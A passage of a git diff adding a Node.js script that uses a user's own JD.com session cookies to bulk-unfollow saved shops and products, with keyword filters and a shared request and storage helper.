process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_unsubscribe_xh.js b/jd_unsubscribe_xh.js new file mode 100644 index 0000000..ceab670 --- /dev/null +++ b/jd_unsubscribe_xh.js @@ -0,0 +1,799 @@ +/* + * @Author: X1a0He + * @LastEditors: X1a0He + * @Description: 批量取关京东店铺和商品 + * @Fixed: 不再支持Qx,仅支持Node.js + */ +const $ = new Env('批量取关店铺和商品'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if($.isNode()){ + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if(process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let args_xh = { + /* + * 跳过某个指定账号,默认为全部账号清空 + * 填写规则:例如当前Cookie1为pt_key=key; pt_pin=pin1;则环境变量填写pin1即可,此时pin1的购物车将不会被清空 + * 若有更多,则按照pin1@pin2@pin3进行填写 + * 环境变量名称:XH_UNSUB_EXCEPT + */ + except: process.env.XH_UNSUB_EXCEPT && process.env.XH_UNSUB_EXCEPT.split('@') || [], + /* + * 是否执行取消关注,默认true + * 可通过环境变量控制:JD_UNSUB + * */ + isRun: process.env.JD_UNSUB === 'true' || true, + /* + * 执行完毕是否进行通知,默认false + * 可用环境变量控制:JD_UNSUB_NOTIFY + * */ + isNotify: process.env.JD_UNSUB_NOTIFY === 'true' || false, + /* + * 每次获取已关注的商品数 + * 可设置环境变量:JD_UNSUB_GPAGESIZE,默认为20,不建议超过20 + * */ + goodPageSize: process.env.JD_UNSUB_GPAGESIZE * 1 || 20, + /* + * 每次获取已关注的店铺数 + * 可设置环境变量:JD_UNSUB_SPAGESIZE,默认为20,不建议超过20 + * */ + shopPageSize: process.env.JD_UNSUB_SPAGESIZE * 1 || 20, + /* + * 商品类过滤关键词,只要商品名内包含关键词,则不会被取消关注 + * 可设置环境变量:JD_UNSUB_GKEYWORDS,用@分隔 + * */ + goodsKeyWords: process.env.JD_UNSUB_GKEYWORDS && process.env.JD_UNSUB_GKEYWORDS.split('@') || [], + /* + * 店铺类过滤关键词,只要店铺名内包含关键词,则不会被取消关注 + * 可设置环境变量:JD_UNSUB_SKEYWORDS,用@分隔 + * */ + shopKeyWords: process.env.JD_UNSUB_SKEYWORDS && process.env.JD_UNSUB_SKEYWORDS.split('@') || [], + /* + * 间隔,防止提示操作频繁,单位毫秒(1秒 = 1000毫秒) + * 可用环境变量控制:JD_UNSUB_INTERVAL,默认为3000毫秒 + * */ + unSubscribeInterval: process.env.JD_UNSUB_INTERVAL * 1 || 1000, + /* + * 是否打印日志 + * 可用环境变量控制:JD_UNSUB_PLOG,默认为true + * */ + printLog: process.env.JD_UNSUB_PLOG === 'true' || true, + /* + * 失败次数,当取关商品或店铺时,如果连续 x 次失败,则结束本次取关,防止死循环 + * 可用环境变量控制:JD_UNSUB_FAILTIMES,默认为3次 + * */ + failTimes: process.env.JD_UNSUB_FAILTIMES || 3 +} +!(async() => { + console.log('X1a0He留:运行前请看好脚本内的注释,日志已经很清楚了,有问题带着日志来问') + if(args_xh.isRun){ + if(!cookiesArr[0]){ + $.msg('【京东账号一】取关京东店铺商品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + } + await requireConfig(); + for(let i = 0; i < cookiesArr.length; i++){ + if(cookiesArr[i]){ + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if(args_xh.except.includes($.UserName)){ + console.log(`跳过账号:${$.nickName || $.UserName}`) + continue + } + if(!$.isLogin){ + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if($.isNode()){ + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.shopsKeyWordsNum = 0; + $.goodsKeyWordsNum = 0; + $.unsubscribeGoodsNum = 0; + $.unsubscribeShopsNum = 0; + $.goodsTotalNum = 0 //记录当前总共关注了多少商品 + $.shopsTotalNum = 0; //记录当前总共关注了多少店铺 + $.commIdList = ``; + $.shopIdList = ``; + $.endGoods = $.endShops = false; + $.failTimes = 0; + // console.log(`=====京东账号${$.index} ${$.nickName || $.UserName}内部变量=====`) + // console.log(`$.unsubscribeGoodsNum: ${$.unsubscribeGoodsNum}`) + // console.log(`$.unsubscribeShopsNum: ${$.unsubscribeShopsNum}`) + // console.log(`$.goodsTotalNum: ${$.goodsTotalNum}`) + // console.log(`$.shopsTotalNum: ${$.shopsTotalNum}`) + // console.log(`$.commIdList: ${$.commIdList}`) + // console.log(`$.shopIdList: ${$.shopIdList}`) + // console.log(`$.failTimes: ${$.failTimes}`) + // console.log(`================`) + await favCommQueryFilter(); //获取商品并过滤 + await $.wait(args_xh.unSubscribeInterval) + if(!$.endGoods && parseInt($.goodsTotalNum) !== parseInt($.goodsKeyWordsNum)) await favCommBatchDel();//取关商品 + else console.log("不执行取消收藏商品\n") + await $.wait(args_xh.unSubscribeInterval) + await queryShopFavList(); //获取店铺并过滤 + await $.wait(args_xh.unSubscribeInterval) + if(!$.endShops && parseInt($.shopsTotalNum) !== parseInt($.shopsKeyWordsNum)) await batchunfollow(); //取关店铺 + else console.log("不执行取消收藏店铺\n") + do { + //如果商品总数和店铺总数都为0则已清空,跳出循环 + if(parseInt($.goodsTotalNum) === 0 && parseInt($.shopsTotalNum) === 0) break; + else { + //如果商品总数或店铺总数有一个不为0的话,先判断是哪个不为0 + if(parseInt($.goodsTotalNum) !== 0){ + if(parseInt($.goodsTotalNum) === parseInt($.goodsKeyWordsNum)) break; + else { + $.commIdList = `` + await favCommQueryFilter(); //获取商品并过滤 + await $.wait(args_xh.unSubscribeInterval) + if(!$.endGoods && parseInt($.goodsTotalNum) !== parseInt($.goodsKeyWordsNum)) await favCommBatchDel(); //取关商品 + else console.log("不执行取消收藏商品\n") + } + } else if(parseInt($.shopsTotalNum) !== 0){ + if(parseInt($.shopsTotalNum) === parseInt($.shopsKeyWordsNum)) break; + else { + $.shopIdList = `` + await queryShopFavList(); //获取店铺并过滤 + await $.wait(args_xh.unSubscribeInterval) + if(!$.endShops && parseInt($.shopsTotalNum) !== parseInt($.shopsKeyWordsNum)) await batchunfollow(); //取关店铺 + else console.log("不执行取消收藏店铺\n") + } + } + } + if($.failTimes >= args_xh.failTimes){ + console.log('失败次数到达设定值,触发防死循环机制,该帐号已跳过'); + break; + } + } while(true) + await showMsg_xh(); + } + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +function requireConfig(){ + return new Promise(resolve => { + if($.isNode() && process.env.JD_UNSUB){ + console.log('=====环境变量配置如下=====') + console.log(`except: ${typeof args_xh.except}, ${args_xh.except}`) + console.log(`isNotify: ${typeof args_xh.isNotify}, ${args_xh.isNotify}`) + console.log(`goodPageSize: ${typeof args_xh.goodPageSize}, ${args_xh.goodPageSize}`) + console.log(`shopPageSize: ${typeof args_xh.shopPageSize}, ${args_xh.shopPageSize}`) + console.log(`goodsKeyWords: ${typeof args_xh.goodsKeyWords}, ${args_xh.goodsKeyWords}`) + console.log(`shopKeyWords: ${typeof args_xh.shopKeyWords}, ${args_xh.shopKeyWords}`) + console.log(`unSubscribeInterval: ${typeof args_xh.unSubscribeInterval}, ${args_xh.unSubscribeInterval}`) + console.log(`printLog: ${typeof args_xh.printLog}, ${args_xh.printLog}`) + console.log(`failTimes: ${typeof args_xh.failTimes}, ${args_xh.failTimes}`) + console.log('=======================') + } + resolve() + }) +} + +function showMsg_xh(){ + if(args_xh.isNotify){ + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【还剩关注店铺】${$.shopsTotalNum}个\n【还剩关注商品】${$.goodsTotalNum}个`); + } else { + $.log(`【京东账号${$.index}】${$.nickName}\n【还剩关注店铺】${$.shopsTotalNum}个\n【还剩关注商品】${$.goodsTotalNum}个`); + } +} + +function getSubstr(str, leftStr, rightStr){ + let left = str.indexOf(leftStr); + let right = str.indexOf(rightStr, left); + if(left < 0 || right < left) return ''; + return str.substring(left + leftStr.length, right); +} + +function favCommQueryFilter(){ + return new Promise((resolve) => { + console.log('正在获取已关注的商品...') + const option = { + url: `https://wq.jd.com/fav/comm/FavCommQueryFilter?cp=1&pageSize=${args_xh.goodPageSize}&category=0&promote=0&cutPrice=0&coupon=0&stock=0&sceneval=2`, + headers: { + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://wqs.jd.com/" + }, + } + $.get(option, async(err, resp, data) => { + try{ + if(data.indexOf("Authorization") !== -1){ + console.log("获取数据失败,401 Authorization Required,可能是User-Agent的问题") + return; + } + data = JSON.parse(getSubstr(data, "try{(", ");}catch(e){}")); + if(data.iRet === '0'){ + $.goodsTotalNum = parseInt(data.totalNum); + console.log(`当前已关注商品:${$.goodsTotalNum}个`) + $.goodsKeyWordsNum = 0; + for(let item of data.data){ + if(args_xh.goodsKeyWords.some(keyword => item.commTitle.includes(keyword))){ + args_xh.printLog ? console.log(`${item.commTitle} `) : '' + args_xh.printLog ? console.log('商品被过滤,含有关键词\n') : '' + $.goodsKeyWordsNum += 1; + } else { + $.commIdList += item.commId + ","; + $.unsubscribeGoodsNum++; + } + } + } else { + $.endGoods = true; + console.log("无商品可取消收藏\n"); + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function favCommBatchDel(){ + return new Promise(resolve => { + console.log("正在取消收藏商品...") + const option = { + url: `https://wq.jd.com/fav/comm/FavCommBatchDel?commId=${$.commIdList}&sceneval=2&g_login_type=1`, + headers: { + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://wqs.jd.com/" + }, + } + $.get(option, (err, resp, data) => { + try{ + if(data.indexOf("Authorization") !== -1){ + console.log("获取数据失败,401 Authorization Required,可能是User-Agent的问题") + return; + } + data = JSON.parse(data); + if(data.iRet === "0" && data.errMsg === "success"){ + console.log(`成功取消收藏商品:${$.unsubscribeGoodsNum}个\n`) + $.failTimes = 0; + } else { + console.log(`批量取消收藏商品失败,失败次数:${++$.failTimes}\n`, data) + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function queryShopFavList(){ + return new Promise((resolve) => { + console.log("正在获取已关注的店铺...") + const option = { + url: `https://wq.jd.com/fav/shop/QueryShopFavList?cp=1&pageSize=${args_xh.shopPageSize}&sceneval=2&g_login_type=1&callback=jsonpCBKA`, + headers: { + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://wqs.jd.com/" + }, + } + $.get(option, (err, resp, data) => { + try{ + if(data.indexOf("Authorization") !== -1){ + console.log("获取数据失败,401 Authorization Required,可能是User-Agent的问题") + return; + } + data = JSON.parse(getSubstr(data, "try{jsonpCBKA(", ");}catch(e){}")); + if(data.iRet === '0'){ + $.shopsTotalNum = parseInt(data.totalNum); + console.log(`当前已关注店铺:${$.shopsTotalNum}个`) + if(data.data.length > 0){ + $.shopsKeyWordsNum = 0; + for(let item of data.data){ + if(args_xh.shopKeyWords.some(keyword => item.shopName.includes(keyword))){ + args_xh.printLog ? console.log('店铺被过滤,含有关键词') : '' + args_xh.printLog ? console.log(`${item.shopName}\n`) : '' + $.shopsKeyWordsNum += 1; + } else { + $.shopIdList += item.shopId + ","; + $.unsubscribeShopsNum++; + } + } + } else { + $.endShops = true; + console.log("无店铺可取消关注\n"); + } + } else console.log(`获取已关注店铺失败:${JSON.stringify(data)}`) + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function batchunfollow(){ + return new Promise(resolve => { + console.log('正在执行批量取消关注店铺...') + const option = { + url: `https://wq.jd.com/fav/shop/batchunfollow?shopId=${$.shopIdList}&sceneval=2&g_login_type=1`, + headers: { + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://wqs.jd.com/" + }, + } + $.get(option, (err, resp, data) => { + try{ + if(data.indexOf("Authorization") !== -1){ + console.log("获取数据失败,401 Authorization Required,可能是User-Agent的问题") + return; + } + data = JSON.parse(data); + if(data.iRet === "0"){ + console.log(`已成功取消关注店铺:${$.unsubscribeShopsNum}个\n`) + $.failTimes = 0; + } else { + console.log(`批量取消关注店铺失败,失败次数:${++$.failTimes}\n`) + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function TotalBean(){ + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if(data){ + data = JSON.parse(data); + if(data['retcode'] === 13){ + $.isLogin = false; //cookie过期 + return + } + if(data['retcode'] === 0){ + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch(e){ + $.logErr(e, resp) + } finally{ + resolve(); + } + }) + }) +} + +function jsonParse(str){ + if(typeof str == "string"){ + try{ + return JSON.parse(str); + } catch(e){ + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e){ + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s{ + constructor(t){ + this.env = t + } + + send(t, e = "GET"){ + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t){ + return this.send.call(this.env, t) + } + + post(t){ + return this.send.call(this.env, t, "POST") + } + } + + return new class{ + constructor(t, e){ + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode(){ + return "undefined" != typeof module && !!module.exports + } + + isQuanX(){ + return "undefined" != typeof $task + } + + isSurge(){ + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon(){ + return "undefined" != typeof $loon + } + + toObj(t, e = null){ + try{ + return JSON.parse(t) + } catch{ + return e + } + } + + toStr(t, e = null){ + try{ + return JSON.stringify(t) + } catch{ + return e + } + } + + getjson(t, e){ + let s = e; + const i = this.getdata(t); + if(i) try{ + s = JSON.parse(this.getdata(t)) + } catch{} + return s + } + + setjson(t, e){ + try{ + return this.setdata(JSON.stringify(t), e) + } catch{ + return !1 + } + } + + getScript(t){ + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + + runScript(t, e){ + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata(){ + if(!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if(!s && !i) return {}; + { + const i = s ? t : e; + try{ + return JSON.parse(this.fs.readFileSync(i)) + } catch(t){ + return {} + } + } + } + } + + writedata(){ + if(this.isNode()){ + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s){ + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for(const t of i) + if(r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s){ + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t){ + let e = this.getval(t); + if(/^@/.test(t)){ + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if(r) try{ + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } 